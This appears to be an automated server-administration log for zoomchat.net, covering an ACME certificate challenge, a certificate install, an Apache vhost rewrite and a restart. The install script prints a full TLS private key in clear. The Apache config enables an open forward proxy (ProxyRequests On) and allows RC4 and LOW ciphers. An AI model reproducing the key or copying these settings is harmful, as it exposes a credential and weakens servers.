MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-17 06:00:02: Establishing a connection
2026-02-17 06:00:03: Establishing a connection
2026-02-17 06:00:04: 

PUT: /tmp/pkp871265

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-17 06:00:05: 

chmod 755 /tmp/pkp871265; /tmp/pkp871265; rm /tmp/pkp871265

2026-02-17 06:00:06: 


1


2026-02-17 06:00:07: Establishing a connection
2026-02-17 06:00:08: 

PUT: /tmp/pkp386638

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > G3zPV6IYkyODpXfYNnD6SRmyWl-ilOzt--1UHvG-W6I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
G3zPV6IYkyODpXfYNnD6SRmyWl-ilOzt--1UHvG-W6I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 G3zPV6IYkyODpXfYNnD6SRmyWl-ilOzt--1UHvG-W6I


2026-02-17 06:00:09: 

chmod 755 /tmp/pkp386638; /tmp/pkp386638; rm /tmp/pkp386638

2026-02-17 06:00:09: 




2026-02-17 06:00:13: Establishing a connection
2026-02-17 06:00:14: 

PUT: /tmp/pkp112369

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm G3zPV6IYkyODpXfYNnD6SRmyWl-ilOzt--1UHvG-W6I


2026-02-17 06:00:15: 

chmod 755 /tmp/pkp112369; /tmp/pkp112369; rm /tmp/pkp112369

2026-02-17 06:00:15: 




2026-02-17 06:00:15: Establishing a connection
2026-02-17 06:00:17: 

PUT: /tmp/pkp719026

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7a3fc3cb644d42495f9e28d766d3339.crt

cat > $temp_file <<'endmsg'
06:96:c0:a7:f8:7f:3a:a1:f6:82:ca:9a:1a:b5:91:13

-----BEGIN CERTIFICATE-----
MIIE6jCCA9KgAwIBAgISBg0IGrzY3MIodFWH7QQhiEC7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE3MDUwMTQyWhcNMjYwNTE4MDUwMTQxWjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDV
CM527A74enAYFA6JAkQzs0NmUndTmy5i+gKgyDZeHOsQP6SkH/VIvXzP1WQ+D33s
he5XPDX1iBVvZXkcJonFOoPI7Q3VzOkLtV7JwSieymmsNUizRD2AtBx8erkdX2jA
LIqQyuCLePH1hJB9swhRFr1VMai39XQPQy6egDKJkOExYPxJN6eMO03Lj2FToKFg
NTwqnQtZfuVxRC8Ld58c8M3N1isDNbwq8QuL6Yl83oK/VzARePvsJcULNLIWpNLs
iUd5byyen3jftnhN/5+rNf7WLJcDuRUVaVrqs0jv2BFAG8VBN/lvtlo/fFEPsyn9
kug+lML8aMt221bS4u0RAgMBAAGjggISMIICDjAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUxTKUX9/z
E9P6y2x8aYNV6F5WUCMwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iu
b3JnLzAXBgNVHREEEDAOggx6b29tY2hhdC5uZXQwEwYDVR0gBAwwCjAIBgZngQwB
AgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy82MC5j
cmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgAWgy2r8KklDw/wOqVF/8i/yCPQ
h0v2BCkn+OcfMxP1+gAAAZxqL1UmAAAEAwBHMEUCIH6npVYRpFsijwd+per3NaNx
l//7fFoQYDvtz4UTQ+awAiEAqmImcltucLSPb7w/lKy65KpjLbBSkfRg0Kts2M4j
JtkAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZxqL1VaAAAE
AwBHMEUCID7ibgQ9NcJpU6Xi8Xu9blQfgdpjf9M+o0DXpq1Pkli+AiEA3tIj7GtQ
4JQMYbupjdXuZPbHhVu0uCsUzsBJ6daPM2MwDQYJKoZIhvcNAQELBQADggEBACZX
vhg9dBeRvxG/erzWohUzP9/kOTeVi0j/FzCTd4fLJ26mXNmBqxK998I3wqmAnufs
Hma/e2YR5nv1GozvJOjaLgiYw9rjVdwDZLufblT2rVxt8ABLOFP/0yX2Oqxkfm6k
78NC54qW4GHqTsAXOXbP5n4/wcy+pOu/mTFyD9rRDdK0FA+Th9joAORXSAV20W7E
ptGaAtvG3kQx1t3YwhgX9bDveeiig/zr8Ny5PFVQOP1HarnocdFAktaayIjvAHgl
TrY8y+iFYSdnDB5gtN22KhXb3rhoe8iR6DK+4cjio0537fDurCfPO3ldPWK+AZ/L
QYS0YVaS3KXGH0jiHmM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDVCM527A74enAY
FA6JAkQzs0NmUndTmy5i+gKgyDZeHOsQP6SkH/VIvXzP1WQ+D33she5XPDX1iBVv
ZXkcJonFOoPI7Q3VzOkLtV7JwSieymmsNUizRD2AtBx8erkdX2jALIqQyuCLePH1
hJB9swhRFr1VMai39XQPQy6egDKJkOExYPxJN6eMO03Lj2FToKFgNTwqnQtZfuVx
RC8Ld58c8M3N1isDNbwq8QuL6Yl83oK/VzARePvsJcULNLIWpNLsiUd5byyen3jf
tnhN/5+rNf7WLJcDuRUVaVrqs0jv2BFAG8VBN/lvtlo/fFEPsyn9kug+lML8aMt2
21bS4u0RAgMBAAECggEAB49hMle0vU0tCrG1hVey/2myb+Bn0yv75K/OJZINWeAp
WGGF0HxA2mS9F+wQ+2HV3G2xVF+y44SBjDs75cuZUoo90ITXG5oCwDNeyoakECSL
RPz8GD6I9zcNFr7NMHVpFH7QKQzGFLUFUyrx7MAMgMIvlGUngWXAyWTfM+lFQdv1
ioCvRvvp9l78mGtrF4cR4TdOcVT7NN6ByTsBwSAvv2GTX6TVqGxp0Cqxjn4JRHTb
hMNNs6i2VCVwfh1ozxm4E5lzfv76HjSbevvBD3TG/i3INyb3mrUCbN3RYXQEX0om
sDh1ZOdOuBx9zUs8TiKEyxV5YsTnKBL95zhN3j9bxQKBgQDrl2Nvi/k7x3F3AuiR
f2UdyP/ZyuFYuv9wpMgUGlSfgPeymcYGJOIfNH6xCdSsYtq+F2RSjm2iH/FDxVhZ
2OWucuMyRl06B2ogTlZpUcy6iHUcRXsXkoyTWFO1FqXWNntopqxVuWUx81xSkkpE
Nh6c3qJJk5WdC88pKaWMsXyb5QKBgQDnfS6HTLOgROr5cHRz3qvoYpnj28Pk1BRW
zja03PHrmKKk6CU+n9pXvv9Gs8TQDxOJ61wgIxk4oGT59fyaqye4C/V9QDoHX8oy
qmQLODS3hAbf/FnoRDl0BVHwpcBAeE6LVZZVYEkJwg8isgHM23iLu9Fx+r1VVA+3
W2oCUQkxvQKBgFP7OWUQHp5isF3eWY1UPnVpq1q16bK5pkk/VFtmL3hUfvfZvS9/
gmPhULBHctqoupU8vXR4dThv7o9cD+ynVuji536Ker0u23P8uOz+Td7IugaD9icn
BJmZyO0qz58W+NMLZy9/0UUHHYgJwhOivzLoYi2cQJ8lEIn54JvQwTzJAoGBALZW
rl24lwy4/HU6lR/n13UWpa0LoEQQoWy2xfS0zIINGp/Wk+++LlhLg/yHAZH5LiTH
FSvjOayW+rLBhhW2l3SrRtU/z/WbCEPcXy1POocLIfcwaQlBJBg1UJPDm6msmgG6
is35J87d4toraKuafFtkt9eV76jUrAR7pwboGdvpAoGBAIYRAcTIJ9HYsdUk02pr
tRgtysy/E8qUssdtTwwHbbWc0IlA1k6Tpwg9tlCYHPCZxtcOtrCc2N8gPQiZaVKz
OT42BLP0/owveizmak8Nq1p5RFfUHmmrFUOwbEsk2hC7mPo7o4A+dWtBAB/QfPWH
be9EP2lkgImJ7Fr5Y0SL9rws
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-17 06:00:18: 

chmod 755 /tmp/pkp719026; /tmp/pkp719026; rm /tmp/pkp719026

2026-02-17 06:00:18: 


dir=/etc/pki/tls/certs/


2026-02-17 06:00:18: 

PUT: /tmp/pkp355156

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-17 06:00:19: 

chmod 755 /tmp/pkp355156; /tmp/pkp355156; rm /tmp/pkp355156

2026-02-17 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2271

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-17 06:00:19: 

PUT: /tmp/pkp742440

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_net.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_net.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf= 1'
fi


2026-02-17 06:00:19: 

chmod 755 /tmp/pkp742440; /tmp/pkp742440; rm /tmp/pkp742440

2026-02-17 06:00:20: 




2026-02-17 06:00:20: 

PUT: /tmp/pkp604933

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-17 06:00:20: 

chmod 755 /tmp/pkp604933; /tmp/pkp604933; rm /tmp/pkp604933

2026-02-17 06:00:20: 


.


2026-02-17 06:00:20: Establishing a connection
2026-02-17 06:00:22: 

PUT: /tmp/pkp687479

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-17 06:00:23: 

chmod 755 /tmp/pkp687479; /tmp/pkp687479; rm /tmp/pkp687479

2026-02-17 06:00:23: 


[Tue Feb 17 06:00:23.480100 2026] [so:warn] [pid 1140562:tid 140309432953152] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
